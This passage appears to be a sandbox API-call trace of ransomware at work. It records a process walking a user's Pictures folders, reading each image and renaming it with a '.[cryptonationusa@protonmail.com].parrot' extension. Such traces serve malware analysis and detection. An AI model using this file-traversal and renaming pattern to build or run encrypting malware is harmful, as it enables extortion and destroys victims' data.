(HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.423] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.426] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\WOBvjJPIn1r.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\wobvjjpin1r.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\WOBvjJPIn1r.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\wobvjjpin1r.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.446] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ed9f20, ftCreationTime.dwHighDateTime=0x1d5bb64, ftLastAccessTime.dwLowDateTime=0xc4ff8100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4ff8100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.447] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x593f8c10, ftCreationTime.dwHighDateTime=0x1d5baed, ftLastAccessTime.dwLowDateTime=0x7c346b10, ftLastAccessTime.dwHighDateTime=0x1d5bd49, ftLastWriteTime.dwLowDateTime=0xc4eed760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x51e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-2LBDaSy4.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-2LBDA~1.PAR")) returned 1 [0093.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0093.448] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.448] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.449] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.449] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8e40, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8e40, lpOverlapped=0x0) returned 1 [0093.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.450] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.451] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\c8Fcyn4hvI4gYcro8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\c8fcyn4hvi4gycro8.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\c8Fcyn4hvI4gYcro8.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\c8fcyn4hvi4gycro8.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.454] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.454] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.455] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.455] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x83e5, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x83e5, lpOverlapped=0x0) returned 1 [0093.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.457] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.458] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\heZFnJf15.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\hezfnjf15.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\heZFnJf15.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\hezfnjf15.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.461] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.461] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.462] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bc4290, ftCreationTime.dwHighDateTime=0x1d5c38c, ftLastAccessTime.dwLowDateTime=0xf4ec19d0, ftLastAccessTime.dwHighDateTime=0x1d5c3ad, ftLastWriteTime.dwLowDateTime=0xf4ec19d0, ftLastWriteTime.dwHighDateTime=0x1d5c3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.463] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.463] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.463] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bcef0, ftCreationTime.dwHighDateTime=0x1d5b8fa, ftLastAccessTime.dwLowDateTime=0x6285eb40, ftLastAccessTime.dwHighDateTime=0x1d5c27a, ftLastWriteTime.dwLowDateTime=0x6285eb40, ftLastWriteTime.dwHighDateTime=0x1d5c27a, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="b7bSCy.jpg", cAlternateFileName="")) returned 1 [0093.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.463] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.463] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.464] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.464] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfdf8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xfdf8, lpOverlapped=0x0) returned 1 [0093.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.466] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\b7bSCy.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\b7bscy.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\b7bSCy.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\b7bscy.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.473] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.473] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.473] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.474] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5dab, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x5dab, lpOverlapped=0x0) returned 1 [0093.474] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.475] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.475] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.476] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\koNcWx6J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\koncwx6j.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\koNcWx6J.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\koncwx6j.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.478] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.478] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.479] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.479] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11ed2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11ed2, lpOverlapped=0x0) returned 1 [0093.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.482] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.482] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.484] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\oWlncgYarU25KXoo7tQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\owlncgyaru25kxoo7tq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\oWlncgYarU25KXoo7tQ.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\owlncgyaru25kxoo7tq.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.487] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.487] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.488] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.488] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xad61, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xad61, lpOverlapped=0x0) returned 1 [0093.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.503] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.504] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\qwxpP5bx6Wh.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\qwxpp5bx6wh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\qwxpP5bx6Wh.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\qwxpp5bx6wh.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.509] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.509] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.510] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.510] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17a76, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x17a76, lpOverlapped=0x0) returned 1 [0093.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.514] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.514] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.516] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\ztqeqFOjzN3cnI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\ztqeqfojzn3cni.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\ztqeqFOjzN3cnI.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\nbuetaqr5o\\ztqeqfojzn3cni.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.522] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\nBuETAqr5O\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.522] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bc4290, ftCreationTime.dwHighDateTime=0x1d5c38c, ftLastAccessTime.dwLowDateTime=0xc50dc940, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc50dc940, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.524] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bcef0, ftCreationTime.dwHighDateTime=0x1d5b8fa, ftLastAccessTime.dwLowDateTime=0x6285eb40, ftLastAccessTime.dwHighDateTime=0x1d5c27a, ftLastWriteTime.dwLowDateTime=0xc506a520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xff18, dwReserved0=0x0, dwReserved1=0x0, cFileName="b7bSCy.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="B7BSCY~1.PAR")) returned 1 [0093.524] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.524] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.525] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.525] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa6c, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xaa6c, lpOverlapped=0x0) returned 1 [0093.527] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\O_363oM2_UKJbxOOip6B.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\o_363om2_ukjbxooip6b.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\O_363oM2_UKJbxOOip6B.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\o_363om2_ukjbxooip6b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.531] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.531] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.532] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.532] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe28e, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xe28e, lpOverlapped=0x0) returned 1 [0093.534] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.535] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\RRaEliVXad4w5Zjli.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\rraelivxad4w5zjli.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\RRaEliVXad4w5Zjli.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\rraelivxad4w5zjli.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.539] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.539] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.540] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.540] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd187, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xd187, lpOverlapped=0x0) returned 1 [0093.542] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.543] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Uk5JuV6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\uk5juv6.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Uk5JuV6.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\uk5juv6.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.546] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.546] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.547] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.547] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xee57, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xee57, lpOverlapped=0x0) returned 1 [0093.549] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.550] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\UW_5wW39Eg.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\uw_5ww39eg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\UW_5wW39Eg.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\uw_5ww39eg.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 